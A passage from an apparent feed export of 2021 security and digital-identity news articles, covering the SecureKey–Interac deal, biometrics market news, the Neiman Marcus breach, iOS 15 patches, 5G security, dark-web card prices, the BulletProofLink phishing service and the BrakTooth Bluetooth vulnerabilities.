"SecureKey is driven by a central goal of making consumers' digital lives easier, safer and more secure when transacting with the organizations they want online," comments Greg Wolfond, CEO of SecureKey. "We are excited about this transformative milestone that brings together the best digital ID capabilities for the benefit of Canadians. This deal is an important part of our broader global vision of licensing our identity network infrastructure to other brands and countries."

Interac also acquired 2Keys in 2019 to boost its digital ID capabilities.

"As the pandemic has made abundantly clear, the way Canadians use their identity documents and how they prioritize accessing services digitally has changed forever. The need to accelerate innovation to provide secure and convenient options for people to transact with their identities is critical," says Debbie Gamble, chief officer for Innovation Labs and New Ventures at Interac. "As a Canadian company bringing together Canadian digital ID capabilities, Interac is uniquely positioned to accelerate digital ID adoption and innovation securely in our emerging digital economy."

The companies will each continue to act as independent collaborating entities. Financial details of the deal were not disclosed.

Article Topics

authentication | biometrics | Canada | digital economy | digital ID | digital identity | identity verification | SecureKey

# data[].attributes.attachment_link.title
Payments network to offer digital ID services from SecureKey to Canadians | Biometric Update

# data[].attributes.attachment_link.description
Canadian interbank network Interac Corp. has acquired exclusive rights to use SecureKey 's digital ID services in Canada, and plans to develop new digital ID solutions for the public and private sector.

# data[].attributes.headline
Biometrics providers stake out facial recognition, fingerprint sensor market positions

# data[].attributes.subject
Biometrics providers stake out facial recognition, fingerprint sensor market positions

# data[].attributes.attachment_link.readable_text
The interoperability of digital wallets and health passes, smart city biometrics, truly inclusive national digital ID systems and the fight against child trafficking were among the focuses of the most widely-read articles on Biometric Update over the past week.

Technology providers continue to vie for share in the hot market, meanwhile, with highlights including Paravision's facial recognition launch, progress on biometric payment cards for Idex Biometrics, Zwipe and Linxens, multimillion dollar government contracts for Trust Stamp and NEC, and a big week for Fingerprint Cards with card authentication technology breakthrough and a PC deal.

Top biometrics news of the week

Paravision unwrapped a whole series of new computer vision capabilities and tools for biometrics deployments under the name ' Converge 2021.' The new features extend Paravision face biometrics to mobile phones, ease edge deployments with new hardware reference designs, introduce one-to-many search and person detection tools, and upgrade its cloud technology for video streams. The company's CPO Joey Pritikin and COO Benji Hutchison explained the significance of the step, and how Paravision got there, to Biometric Update in an interview.

Fingerprint Cards and Infineon have partnered to develop a way of carrying out biometric authentication within the secure element of a fingerprint-enabled payment card. This could both make card design simpler and more flexible, and lower production costs. Meanwhile FPC and Next Biometrics have signed deals to integrate their fingerprint technologies into desktop and notebooks PCs, respectively.

Idex Biometrics technology has been selected for 'cold wallet' biometric payment cards for China's digital currency being developed with six banks. Zwipe signed up another payments partner for its biometric card platform, and at London Identity Week Linxens Group VP of Marketing Franck Germain provided forecasts reflecting the product area's rapid growth.

Digital wallets have a critical role to play in ensuring the interoperability and data security of Europe's proposed regional digital ID system, Protokol CEO Lars Rensing writes in a Biometric Update guest post. If EU Member States all develop their digital wallets individually, as could happen under the proposed framework, Rensing warns they should do so using common resources like the European Blockchain Services Infrastructure's reference library.

Emirates says it is leading in the breadth of its deployment of the IATA Travel Pass, as well as in increasing its traveler capacity with biometrics and self-service technologies, and Brazil is undertaking an initiative to make similar changes towards single token biometrics use in its airports. A panel at NEC Visionary Week 2021, meanwhile, emphasized the importance of removing quarantine requirements for vaccinated travelers to the aviation sector's recovery.

The black market for fake proof of COVID vaccination is heating up, and Shufti Pro Customer Success Manager Sarah Amundsson explains the issue and what can be done to address it in a guest post. Fake digital health passes are already a full-blown industry in 29 countries, making automated verification a practical necessity.

Two facial recognition contracts involving law enforcement groups with histories of controversial biometrics deployments have been signed on either side of the Atlantic. Trust Stamp has won a $3.9 million contract with the U.S. Department of Immigrations and Customs Enforcement (ICE) to have its facial recognition deployed to migrant detention centers for six months or 10,000 people (at an implied price of $390 each), whichever comes first. NEC has won a facial recognition contract with London's Metropolitan Police worth roughly $4.2 million, to supply historic (or forensic) matching against CCTV feeds.

A new plan for smart city technology adoption, including biometrics, is part of the Emerging Technology Charter update from London Mayor Sadiq Khan. The latest update is intended to help the city recover economically from the pandemic by utilizing data, and includes plans for a framework for facial recognition use.

An MIT Technology Review look at the use of facial verification in government pandemic unemployment benefit programs to prevent fraud starts with the obvious point that people need to look the same for this method to work well. New York University Assistant Professor of Data Policy Anne L. Washington suggests later in the article, however, that "(t)he problem is that governments get some kind of technology and it works 95 percent of the time-they think it's solved."

ID4Africa held its second livecast event of the season, and 20th since they started, examining the place of digital public goods and open source technologies in government ID systems. Country reports followed from Kenya, where Huduma Namba legislation remains pending, and South Africa, where the National Identification System continues to evolve.

Researchers with South Africa's Council for Scientific and Industrial Research (CSIR) have recommended a combination of ear shape, iris and fingerprint biometrics to verify the identity of infants as the country continues to fight both child trafficking and welfare fraud.

Garry Harrison is the new CEO of Oaro, and will lead its blockchain-based enterprise IAM strategy. New executives have also been hired by Socure, with Scott Slipsy joining as CPO to lead the growth of its team as the company scales up its identity verification and fraud prevention customer base, and Secret Double Octopus, which welcomes Horacio Zambrano as CMO to lead go-to-market efforts for its passwordless multi-factor authentication.

Please let us know about any articles, podcasts or other content we should share with the people in biometrics and the broader digital ID community in the comments below, or through social media.

Article Topics

biometric cards | biometrics | biometrics research | digital ID | digital identity | digital wallet | facial recognition | government purchasing | health passes | smart cities

# data[].attributes.attachment_link.title
Biometrics providers stake out facial recognition, fingerprint sensor market positions | Biometric Update

# data[].attributes.attachment_link.description
The interoperability of digital wallets and health passes, smart city biometrics, truly inclusive national digital ID systems and the fight against child trafficking were among the focuses of the most widely-read articles on Biometric Update over the past week.

# data[].attributes.headline
Luxury retail company Neiman Marcus Group has announced this week that it has suffered a data breach that impacted customer information.

# data[].attributes.subject
Luxury retail company Neiman Marcus Group has announced this week that it has suffered a data breach that impacted customer information.

# data[].attributes.attachment_link.readable_text
Luxury retail company Neiman Marcus Group has announced this week that it has suffered a data breach that impacted customer information.

The attack against Neiman Marcus Group took place in May 2020, as a result of the attack, threat actors had access to customers' information, including payment card data.

Exposed personal information includes names and contact information, usernames, passwords, and answers to security questions associated with online accounts.

The security breach impacted 4.6 million online customers, 3.1 million payment and virtual gift cards were compromised, 85% of which were either expired or invalid.

The attackers had access to payment card numbers and expiration dates, while CVV numbers were not compromised. The company also added that virtual gift card numbers, PINs were not compromised too.
"The personal information for affected Neiman Marcus customers varied and may have included names and contact information; payment card numbers and expiration dates (without CVV numbers); virtual gift card numbers (without PINs); and usernames, passwords, and security questions and answers associated with Neiman Marcus online accounts. Approximately 4.6 million Neiman Marcus online customers are being notified of this issue." states the data breach notification. "For these customers, approximately 3.1 million payment and virtual gift cards were affected, more than 85% of which are expired or invalid."
According to the NMG, it has no evidence that Bergdorf Goodman or Horchow online customer accounts were affected.

The luxury retail company is already notifying the impacted customers, while the investigation is still ongoing.

In response to the security breach, NMG is requiring an online account password reset for affected customers who had not changed their password since May 2020.
"At Neiman Marcus Group, customers are our top priority," said Geoffroy van Raemdonck, Chief Executive Officer. "We are working hard to support our customers and answer questions about their online accounts. We will continue to take actions to enhance our system security and safeguard information."
In early 2014, Neiman Marcus disclosed another data breach, at the time attackers had access to its customers' data, including payment information of those who visited its stores.

Follow me on Twitter: @securityaffairs and Facebook

# data[].attributes.attachment_link.title
Neiman Marcus discloses data breach, payment card data exposed

# data[].attributes.attachment_link.description
The attack against Neiman Marcus Group took place in May 2020, as a result of the attack, threat actors had access to customers' information, including payment card data. Exposed personal information includes names and contact information, usernames, passwords, and answers to security questions associated with online accounts.

# data[].attributes.headline
iOS 15 launches with 22 documented security patches – including a Face ID bypass using a “3D model”

# data[].attributes.subject
iOS 15 launches with 22 documented security patches – including a Face ID bypass using a “3D model”

# data[].attributes.attachment_link.readable_text
Apple's iOS 15 is now out - the very latest software version for iPhones, just in time for the official launch of the new iPhone 13 later in the week.

(Yes, you can buy an iPhone 13 today, but only by placing what modern sales and marketing jargon refers to as a pre-order, which is known simply as an order in plain English: pay now, and collect it or get it delivered in the near future when it's ready.)

Most of the articles you'll read about iOS 15 understandably focus on new features in the operating system and the built-in apps, such as improvements to Notifications, Messages, Safari and even how your local weather gets displayed.

What you might not realise, however, is that even though iOS 15 is brand new to most of the world, it's been baking in the oven in its pre-release form for many months...

...which means that the official initial release nevertheless comes with its own security advisory, detailing 22 vulnerabilities that have been patched, including ten bugs that could lead to what's known as remote code execution, or RCE.

RCE vulnerabilities mean that, in theory, simply viewing, opening or otherwise using a booby-trapped file of some sort could allow an attacker to secretly launch malware such as spyware on your device.

Two of the code execution flaws could even give crooks the access they need to implant rogue code in the kernel itself, essentially allowing them to take over the whole device, for example to "jailbreak" it in order to escape from Apple's walled garden of security controls altogether.

Here's lookin' at you

But the iOS security notification that most caught our eye was CVE-2021-30863, fixing a bug in Face ID that's excitingly described as:

A 3D model constructed to look like the enrolled user may be able to authenticate via Face ID.

Fake heads! (Cue dystopian scifi movie music.)

Bypass attacks against Face ID have been announced before, notably by a Vietnamese researcher who claimed in 2017 to be able to get past Face ID using a mask, and by Chinese researchers from cybersecurity company Tencent in 2019, who were able to get around Face ID's "are you awake?" detection and unlock the device of someone who was asleep.

Neither of those attacks were very practical, if ever they would have worked in real life.

As far as we know, the Vietnamese result was never successfully replicated, and the Tencent researchers relied on the unlikely scenario of the victim "looking" at the camera without noticing that they were wearing spectacles (eyeglasses) deliberately doctored with black tape and a reflective spot, so they couldn't see the phone at all.

Sadly, there aren't any details of how this new Face ID hack was carried out, so we don't know how effective and reliable it was.

Perhaps more importantly, we can't estimate how likely it is that the technique could be adapted to get past Apple's latest security update, which states merely that "this issue was addressed by improving Face ID anti-spoofing models."

Multiple updates for multiple platforms

Along with updates for the otherwise brand-new iOS 15, iPadOS 15, tvOS 15 and watchOS 8 (for some reason, watchOS version numbers have not been aligned with the rest of Apple's mobile range), the latest security announcements also cover iTunes, macOS, Safari and Apple's Xcode developer tools, as well as iOS 14.8 and iPadOS 14.8.

Confusingly, the iOS 14.8 and iPadOS 14.8 updates were actually released more than a week ago, apparently as emergency patches to close off a hole that was allegedly being exploited in the wild for government surveillance against an activist.

The iOS 14.8 patch became widely known as the FORCEDENTRY update.

(The 14.8 update actually fixed two in-the-wild security exploits, but the better-known of the two was the the one allegedly found on the activist's phone, dubbed FORCEDENTRY by the organisation that investigated the attack and reported it to Apple.)

It turns out, however, that the iOS 14.8 update fixed a number of other security holes as well, including many that were also fixed in iOS 15.

We're guessing these are bugs that iOS 15 inherited from its predecessor.

There's also an update called Safari 15, available for macOS 10.15 (Catalina) and 11.6 (Big Sur).

This is additional to the security updates for Big Sur and Catalina that came out last week to patch the FORCEDENTRY hole.

Although there are no new patches specifically for macOS itself, we're assuming that the Safari 15 update brings the macOS version of the Safari browser in line with its mobile counterpart on iOS and iPadOS.

The security advisories for which we received notifications are as follows:

Once again, poor old iOS 12 is a victim of Apple's doctrine that prohibits the company from telling you what's going on from a security perspective "until an investigation has occurred and patches or releases are available."

Unfortunately, the fact that you won't be told about the patch situation unless and until there is a patch means that if there isn't going to be a patch, you'll never know.

In other words, the logical conjunction investigate() AND dopatch() means that "no patch available" could be the consequence of any of these scenarios:

No investigation conducted. A patch might be desirable or even vital, but no one can say.

Investigation still going on, still not sure what remains to be done.

Investigation completed, no patch needed.

Investigation completed, patch needed but not yet ready.

Investigation completed, patch won't be done no matter what.

Our suspicion is that iOS 12 has finally reached the end of the line.

With iOS 15 out, and iOS 14 still officially supported (given that it just received its own security update and advisory), we're assuming that iOS 12, now the pre-previous version, is no longer going to get any more updates, in the same way that Apple is calling out just Big Sur (current) and Catalina (previous) by name for macOS updates.

So it's Catch-22 for iOS 12: if there aren't going to be any more security patches, then we won't find out until there's a security advisory to say so; but there won't be a security advisory to say so until there's another security patch.

Note. Sophos mobile security products already support iOS 15,
and will therefore continue working seamlessly after you update from iOS 14.

# data[].attributes.attachment_link.title
iOS 15 launches with 22 documented security patches - including a Face ID bypass using a "3D model"

# data[].attributes.attachment_link.description
Apple's iOS 15 is now out - the very latest software version for iPhones, just in time for the official launch of the new iPhone 13 later in the week.

# data[].attributes.headline
What is 5G security? Explaining the security benefits and vulnerabilities of 5G architecture

# data[].attributes.subject
What is 5G security? Explaining the security benefits and vulnerabilities of 5G architecture

# data[].attributes.attachment_link.readable_text
5G is already transforming and enhancing mobile connectivity.

With its high speeds and low latency, almost all businesses and industries are now in the position to digitize applications and services they couldn't dream of not long ago. With 5G networks, billions of devices and IoT (the internet of things) are interconnectible - leading to use cases like smart cities, AR/VR on mobile networks, remote medicine and much more. The potential is practically unlimited.

However, the massive potential and almost unlimited connectivity bring about many security challenges. Security capabilities are a critical element for your 5G-ready success.

What risks does 5G introduce? What security enhancements are built in? And what role should managed services play in your 5G security strategy?

Defining 5G security and architecture

Today, the concept of "5G security" lacks an official definition as the technology is still fairly new and evolving.

This is not to say that 5G security does not exist. In fact, security was one of the primary considerations in 5G's development and planning.

When it comes to 5G security, we need to think about it as a balancing act. On one hand, security was built into 5G from the ground up. However, along with the increased bandwidth and speed, a tidal wave of new devices and connections will make managing security much more difficult.

At its core, 5G was built to ensure the reliability of connections. An Ericsson white paper lists five core properties of 5G security: resilience, communication security, identity management, privacy, and security assurance. According to the document, 5G's trustworthiness is made possible by a set of security features that were built using system design principles applied with a risk-based mindset.

Delving into the technical details of the 5G security architecture is beyond the scope of this article. But if there is one element that stands out and should be highlighted here, it is the concept of network slicing.

Network slicing allows different networks and services to share the same infrastructure but are isolated and segregated from each other. Network slicing carves out (or slices, as it were) specific types of network traffic to match various use cases - be it enterprise, consumer, IoT or public safety.

5G's security architecture allows for significant performance benefits and diversity of applications as it leverages network slicing, cloud-based resources, virtualization, and other emerging technologies.

With these additions and changes, however, new security risks and additional attack surfaces must be addressed.

The security risks introduced

Increased attack surface: With millions and even billions more connected devices, 5G makes it possible for larger and more dangerous attacks. Current and future vulnerabilities of the existing internet infrastructure are only exacerbated. The risk of more sophisticated botnets, privacy violations, and faster data extraction can escalate with 5G.

More IoT, more problems: IoT devices are inherently insecure; security is often not built-in by design. Each insecure IoT device on an organization's networks represents another potential hole that an attacker can expose.

Decreased network visibility: With 5G, our networks will only expand and become more usable by mobile users and devices. This means much more network traffic to manage. But without a robust wide area network (WAN) security solution like Secure Access Service Edge (SASE) in place, companies may not be able to gain the network traffic visibility required to identify abnormalities or attacks.

Increased supply chain and software vulnerabilities: Currently and for the foreseeable future, 5G supply chains are limited. Vulnerabilities exist - particularly as devices are rushed to market - increasing the potential for faulty and insecure components. Compared to traditional mobile networks, 5G is also more reliant on software, which elevates the risk of exploitation of the network infrastructure.

The security enhancements it includes

Beyond network slicing, 5G offers several significant security enhancements compared to its predecessors like 4G and LTE. With these enhancements, organizations are able to reap many benefits. Here we will outline the most prominent enhancements and explain how they can benefit your organization.

First, 5G is more capable of protecting your identity. For the first time, your connection is shielded from rogue devices that may capture phone calls by mimicking cell towers. Your ID with 5G is encrypted.

Plus, a more robust encryption algorithm scrambles the traffic when your voice and data travels from your device to the cell tower. What this means is hackers with powerful computers won't want to take the time to decrypt your info.

5G also lends itself to more intelligent software and "virtual" hardware. Instead of specialized hardware that could be compromised, your data can be routed through virtual hubs and switches that can be moved or changed quickly if required.

Finally, there's edge computing - which is all about where data is processed. With traditional or cloud computing, data may have to travel to a server far away. With edge, it's processed much closer to the source, enabling the ability for improved threat detection.

With these enhancements, you'll be able to:

Quickly and securely enable branch/remote locations to conduct business outside the corporate office

Provide mobile users safe access to the internet so they can conduct business remotely

Deliver secure access to applications and provide consistent user protection for network alternative deployments

Improve defenses against advanced mobile threats with deep insights

Quickly and securely deploy network alternatives, deliver secure access to applications, and provide consistent user experiences

Improve productivity by enabling safe mobile access to the internet and supply quick remediation capabilities in the event of a cyber attack

Should your business consider managed services for your 5G security?

One of the biggest reasons for embracing 5G is to boost your business's innovation so that you can gain a step up on competitors and drive revenue growth. But how can this be achieved without compromising on security?

If 5G is going to be an essential component of your organization's plans for innovation, deploying the technology effectively and securely will be critical.

Depending on the resources available to your company, managing the transformation to 5G may be overwhelming.

In many cases, turning to managed security services to support your 5G strategy- which includes options like next generation firewalls, secure remote access solutions, secure web gateway, and broader SASE offerings - is the most cost-effective strategy. With a managed security services, you get to work with experts to design and best leverage 5G technologies to their full potential and help protect the flow of critical information from being breached.

Ultimately, this means your business can design and scale solutions with maximum simplicity and minimized risk.

AT&T Cybersecurity can help you get the most out of emerging 5G and current-day mobile technologies through a security-first approach to service design and delivery.

About the Author: Mark Stone

Mark Stone is a content and copy writer with over a decade of experience covering technology, business, and cybersecurity. Earlier in his career, he was a cybersecurity analyst in the public sector. He lives in Kelowna, BC with his wife and two black cats.
Read more posts from Mark Stone ›

# data[].attributes.attachment_link.title
What is 5G security? Explaining the security benefits and vulnerabilities of 5G architecture

# data[].attributes.attachment_link.description
This article was written by an independent guest author. 5G is already transforming and enhancing mobile connectivity. With its high speeds and low latency, almost all businesses and industries are now in the position to digitize applications and services they couldn't dream of not long ago.

# data[].attributes.headline
PM : Rangkaian Teknologi 5G Akan Dilancarkan Pada Penghujung 2021

# data[].attributes.subject
PM : Rangkaian Teknologi 5G Akan Dilancarkan Pada Penghujung 2021

# data[].attributes.headline
Facial recognition cannot be a standalone authentication method

# data[].attributes.subject
Facial recognition cannot be a standalone authentication method

# data[].attributes.attachment_link.readable_text
Whether it's being used to unlock your phone, gain access to a your online bank account or government services or even at airports to verify users and put an end to passport queues, an increasing number of companies and governments are looking to facial recognition to verify and authenticate users in other scenarios.

This is because, in its current form, authenticating or verifying identities isn't working, digital identity is broken. In the physical world, we identify people instinctively because of their characteristics: their face or voice, for example, but online, it's harder to prove identity and easier for fraudsters to pretend they're someone they're not.

We've seen frequent data breaches including brands such as BA where customer details are stolen and then sold on the dark web where it's easy for fraudsters to acquire login credentials en masse. The rise in fraud and the use of synthetic identities shows just how broken digital identity is.

Many businesses are looking to facial recognition to improve their digital identity practices, and a first step in improving verification and authentication strategies. However, as a standalone method, it has its own shortcomings and can be the single point of failure in the verification or authentication process.

First, it's important to distinguish the differences between verifying and authenticating a user. When facial recognition technology verifies a user, it detects an individual's face, analyses it and then compares it against information provided such as an identity card.

After identity has been verified, authentication is when a customer's identity is confirmed by requesting further credentials to allow access to services - for example, through personal information such as a password or pin.

As a method of verification, facial recognition and biometrics more broadly work well. For example, when opening a new bank account, consumers understand that they will need to verify their identity, so using biometrics is an appropriate method to do that.

However, relying on facial recognition for authentication or authorisation purposes further in the online user journey may not be appropriate for several reasons.
1. Inherent biases
One well-publicised challenge of facial recognition when used as authentication or authorisation method is that it can exclude pockets of the population. The widely reported issue with Uber's use of facial recognition for drivers to access the app had huge unintended consequences through racial or religious bias and technology elitism.
2. Friction
Physical biometrics can also add friction to the customer journey. In some cases, friction is appropriate. For example, when customers are asked to reconfirm their identity before authorising the transfer of a large sum of money, this can be reassuring to customers.

However, if a facial ID is required each time you buy something from an online retailer, you'll likely take your business to another brand where it is easier and faster to make a purchase.
3. Security
It may also surprise people to learn that there are security limitations to facial biometrics. Using a simple photo as the single form of authentication can lead fraudsters to falsely claim their biometrics methods are broken just to circumvent the authentication process. Fraudsters are also actively looking at ways to trick facial recognition systems.
4. Lack of privacy
Facial recognition is obtrusive and isn't privacy preserving. Your face is personally identifiable information (PII) and permission is required to collect, store and process this in many countries under the General Data Protection Regulation (GDPR) so many people will choose not to use facial recognition as a method to authenticate or authorise.

Our own research reveals that only 38% of UK consumers feel comfortable using static biometrics, such as fingerprint ID or facial recognition, to confirm their identity when using a service or buying a product.
5. Single point of failure
Finally, using facial recognition as an authenticator requires asking a closed question. For example, "is this the user's face?". It's a yes or no answer, but if the computer or phone doesn't recognise the user, what happens then? Quite often there is no other method to allow the user to authenticate and get on with their user journey (as was the case with Uber), highlighting the issue of using facial recognition as a single point of failure.

Unfortunately, when there is a backup plan, it's often a reversion to passwords and pins which are weak and open to compromise - often the reason security was stepped up to the seemingly more robust method of facial recognition.

Fixing digital identity by layering security

So, what is the solution? While facial recognition has its place, it is vital that it is layered with other data points to ensure there isn't a single point of failure in the authentication process. One way of doing this is through behavioural biometrics.

Behavioural biometrics such as a swipe or typing are extremely hard to mimic and compromise. Machine learning technology analyses how consumers physically interact with their devices, the angle they hold their mobile device at, their typing cadence, the pressure they apply, and even mouse movements.

These inputs build unique model of a consumer's "usual" behaviour and provides comparisons for subsequent interactions. If a consumer then displays behaviour that is different to the expected "norm", any access attempt is identified as potentially fraudulent and can be escalated either requiring further authentication or stopped completely.

By layering behavioural biometrics with other intelligence such as device and location, businesses can ensure there is no one point of failure if something doesn't look quite right.

We'll only continue to see announcements from organisations and governments trying to support facial recognition and other static biometric technologies. But to securely authenticate users without compromising the user experience, organisations must not rely on facial recognition as a standalone method of authentication.
Amir Nooriala is chief commercial officer at Callsign.

# data[].attributes.attachment_link.title
Facial recognition cannot be a standalone authentication method

# data[].attributes.attachment_link.description
Whether it's being used to unlock your phone, gain access to a your online bank account or government services or even at airports to verify users and put an end to passport queues, an increasing number of companies and governments are looking to facial recognition to verify and authenticate users in other scenarios.

# data[].attributes.headline
Stolen credit card data worth about £13 on dark web, PayPal worth more

# data[].attributes.subject
Stolen credit card data worth about £13 on dark web, PayPal worth more

# data[].attributes.attachment_link.readable_text
The value of stolen credit card data on an underground dark web marketplace has dropped by about a quarter during 2021, according to new data released by researchers at Comparitech, while the value of a hacked PayPal account has nearly trebled over the same period.

Comparitech's researchers sifted through 13 dark web markets to collate their new dataset, and found that stolen credit card data fetched an average of $17.36 (£12.61/€14.69) or about $0.00033 per dollar of credit limit. Prices in all cases tended to correlate to credit limits or account balances, in the case of PayPal accounts.

Actual physically cloned credit cards traded for far more money, around $171 on average, or $0.0575 per dollar of credit limit. Compromised PayPal accounts - clearly in high demand in the cyber criminal underground - can be obtained for $197 on average, or 9.2 cents for every dollar in the account balance.

"Credit cards can be sold as physical or digital items on the dark web," said Comparitech's Paul Bischoff. "Credit card details used for online fraud are cheaper and can be sent in a text message. Physical cards are usually cloned from details stolen online, but can be used to withdraw from ATMs. Because the merchant requires equipment to clone the card and must send the buyer a physical product complete with PIN number, the price for cloned cards is much higher."

The most valuable credit cards to cyber criminals tend to be MasterCard products, worth 6.47 cents per dollar, followed by Discover, worth 6.27 cents per dollar, and Visa, worth 5.75 cents per dollar. American Express products are worth less, 5.13 cents per dollar, presumably reflecting their often limited acceptability among merchants.

But brand is just one of many considerations affecting price, said Bischoff, with other factors affecting price including the expiry date - for fairly obvious reasons, newer cards are more popular - the credit limit, whether or not the card verification value (CVV) number or ATM PIN is included, the cardholder's location and whether or not it comes with other personal data (known as "fullz" in the trade).

Stolen credit cards are either cashed out or used to make purchases that can be resold. In the past, they were more frequently used to buy less traceable forms of money, usually cryptocurrency or gift cards, but this is seen less often now, said Bischoff, partly because anti-fraud protections, such as Verified by Visa or MasterCard's SecureCode feature, have greatly restricted where stolen cards can be used.

This has possibly had some influence on the spike in the value of PayPal accounts over the past 18 months or so, but there are other reasons why PayPal accounts are so sought after, said Bischoff: "They can be accessed from anywhere with a web browser; they usually have existing balances; it's easy to send money on PayPal; it's a common form of payment; and many merchants accept it."

The process of taking over a PayPal account is somewhat different from stealing credit card data, with the vital information being in the form of usernames and passwords, rather than card and CVV numbers. This means that those who obtain them will often have done so through phishing or malware attacks.

The credentials can then be sold on to a buyer who can drain existing funds, make purchases, make transfers from other compromised bank accounts or credit cards, or request money from contacts in the guise of the account's legitimate holder.

# data[].attributes.attachment_link.title
Stolen credit card data worth about £13 on dark web, PayPal worth more

# data[].attributes.attachment_link.description
The value of stolen credit card data on an underground dark web marketplace has dropped by about a quarter during 2021, according to new data released by researchers at Comparitech, while the value of a hacked PayPal account has nearly trebled over the same period.

# data[].attributes.headline
Phishing-as-a-service operation uses double theft to boost profits

# data[].attributes.subject
Phishing-as-a-service operation uses double theft to boost profits

# data[].attributes.attachment_link.readable_text
Microsoft says BulletProofLink, a large-scale phishing-as-a-service (PhaaS) operation it spotted while investigating recent phishing attacks, is the driving force behind many phishing campaigns that have targeted many corporate organizations lately.

The threat actor behind BulletProofLink (also known as BulletProftLink and Anthrax) provides cybercriminals with various services, ranging from selling phish kits and email templates to providing hosting and automated services under a single payment or monthly subscription-based business model.

"In researching phishing attacks, we came across a campaign that used a rather high volume of newly created and unique subdomains-over 300,000 in a single run," the Microsoft 365 Defender Threat Intelligence Team said.

"With over 100 available phishing templates that mimic known brands and services, the BulletProofLink operation is responsible for many of the phishing campaigns that impact enterprises today."

The BulletProofLink threat actor was first spotted in October 2020 by OSINT Fans, who published a three-part series [ 1, 2, 3] exposing some of the inner workings of this PhaaS operation.

As they revealed, the Bulletproftlink ICQ group chat had 1,618 members last year, "all potential buyers of the stolen passwords and the Bulletproftlink phishing services."

Image: Microsoft

Double theft used to boost profits

Of note, the large-scale phishing campaigns enabled by BulletProofLink also use a "double theft," a method meant to boost the threat actor's profits much like the double extortion one used by ransomware gangs.

The double theft Microsoft refers to is a tactic where credentials stolen in phishing attacks are also sent to a secondary server controlled by PhaaS operators if the phish kits used in the campaign use their default configuration.

This way, the credentials harvested by BulletProofLink customers are also sent to the phishing-as-a-service operator if the cybercriminals using their services will not customize the phish kits to exfiltrate stolen data only to their own servers.

"In both ransomware and phishing, the operators supplying resources to facilitate attacks maximize monetization by assuring stolen data, access, and credentials are put to use in as many ways as possible," Microsoft added.

"This is true for the BulletProofLink phishing kit, and in cases where the attackers using the service received credentials and logs at the end of a week instead of conducting campaigns themselves, the PhaaS operator maintained control of all credentials they resell."

Using this tactic, the PhaaS operators boost their profits without much effort, further motivating them and funding their ongoing operation.

Phishing attack chain of BulletProofLink-enabled campaigns (Microsoft)

Infinite subdomain abuse

The threat actor has also observed using a technique Microsoft calls "infinite subdomain abuse," making it possible for attackers to assign unique URLs for each phishing recipient while only using a single domain, compromised or bought before the attacks.

This tactic is used when the attackers can compromise a website's DNS or when compromised sites are configured using a DNS allowing unlimited wildcard subdomains.

Infinite subdomain abuse is an increasingly popular tactic, given that it minimizes the effort put into a phishing campaign while maximizing the number of available unique domains ready to be deployed at any single time.

Furthermore, "the creation of unique URLs poses a challenge to mitigation and detection methods that rely solely on exact matching for domains and URLs."

"At the time of this report, BulletProofLink continues to operate active phishing campaigns, with large volumes of redirections to their password-processing links from legitimate web hosting providers," Microsoft concluded.

# data[].attributes.attachment_link.title
Phishing-as-a-service operation uses double theft to boost profits

# data[].attributes.attachment_link.description
Microsoft says BulletProofLink, a large-scale phishing-as-a-service (PhaaS) operation it spotted while investigating recent phishing attacks, is the driving force behind many phishing campaigns that have targeted many corporate organizations lately. The threat actor behind BulletProofLink (also known as BulletProftLink and Anthrax) provides cybercriminals with various services, ranging from selling phish kits and email templates to providing hosting and automated services under a single payment or monthly subscription-based business model.

# data[].attributes.headline
Bluetooth BrakTooth bugs could affect billions of devices

# data[].attributes.subject
Bluetooth BrakTooth bugs could affect billions of devices

# data[].attributes.attachment_link.readable_text
Vulnerabilities collectively referred to as BrakTooth are affecting Bluetooth stacks implemented on system-on-a-chip (SoC) circuits from over a dozen vendors.

The set of issues impact a wide variety of devices, from consumer electronics to industrial equipment. The associated risk ranges from denial-of-service, deadlock condition of the device to arbitrary code execution.

Wide variety of products impacted

Researchers from the Singapore University of Technology and Design have published details about BrakTooth - a new family of security vulnerabilities in commercial Bluetooth stacks.

They assessed 13 Bluetooth devices from close to a dozen SoC vendors counting Intel, Qualcomm, Texas Instruments, and Cypress.

Digging deeper, the researchers discovered that more than 1,400 product listings are affected by BrakTooth, and the list includes but is not limited to the following types of devices:

Smartphones

Infotainment systems

Laptop and desktop systems

Audio devices (speakers, headphones)

Home entertainment systems

Keyboards

Toys

Industrial equipment (e.g. programmable logic controllers - PLCs)

Considering the variety of products affected, saying that BrakTooth affects billions of devices is likely an accurate estimation.

The researchers say that the risk associated with the BrakTooth set of security flaws ranges from denial-of-service (DoS) by crashing the device firmware, or a deadlock condition where Bluetooth communication is no longer possible, to arbitrary code.

Someone pulling a BrakTooth attack would need an ESP32 development kit, a custom Link Manager Protocol (LMP) firmware, and a computer to run the proof-of-concept (PoC) tool.

Of the 16 BrakTooth vulnerabilities, one of them tracked as CVE-2021-28139 presents a higher risk than others because it allows arbitrary code execution.

It affects devices with an ESP32 SoC circuit, which is found in numerous IoT appliances for home or industry automation.

The researchers demonstrate the attack in the video below by changing the state of an actuator using an LMP Feature Response Extended packet:

Devices running on the AX200 SoC from Intel and Qualcomm's WCN3990 SoC are vulnerable to a DoS condition triggered when sending a malformed packet.

The list of products impacted includes laptops and desktops from Dell (Optiplex, Alienware), Microsoft Surface devices (Go 2, Pro 7, Book 3), and smartphones (e.g. Pocophone F1, Oppo Reno 5G).

The researchers informed all vendors whose products they found to be vulnerable to BrakTooh ahead of the publication of their findings but only some of them have been patched.

The vulnerabilities in the Braktooth collection target the LMP and baseband layers. Currently, they've been assigned 20 identifiers with a few more pending, and refer to the following 16 issues:

1. Feature Pages Execution (CVE-2021-28139 - arbitrary code execution/deadlock)

2. Truncated SCO Link Request (CVE-2021-34144 - deadlock)

3. Duplicated IOCAP (CVE-2021-28136 - crash)

4. Feature Response Flooding (CVE-2021-28135, CVE-2021-28155, CVE-2021-31717 - crash)

5. LMP Auto Rate Overflow (CVE-2021-31609, CVE-2021-31612 - crash)

6. LMP 2-DH1 Overflow (pending CVE - deadlock)

7. LMP DM1 Overflow (CVE-2021-34150 - deadlock)

8. Truncated LMP Accepted (CVE-2021-31613 - crash)

9. Invalid Setup Complete (CVE-2021-31611 - deadlock)

10. Host Conn. Flooding (CVE-2021-31785 - deadlock)

11. Same Host Connection (CVE-2021-31786 - deadlock)

12. AU Rand Flooding (CVE-2021-31610, CVE-2021-34149, CVE-2021-34146, CVE-2021-34143 - crash/deadlock)

13. Invalid Max Slot Type (CVE-2021-34145 - crash)

14. Max Slot Length Overflow (CVE-2021-34148 - crash)

15. Invalid Timing Accuracy (CVE-2021-34147 and two more pending CVEs - crash)

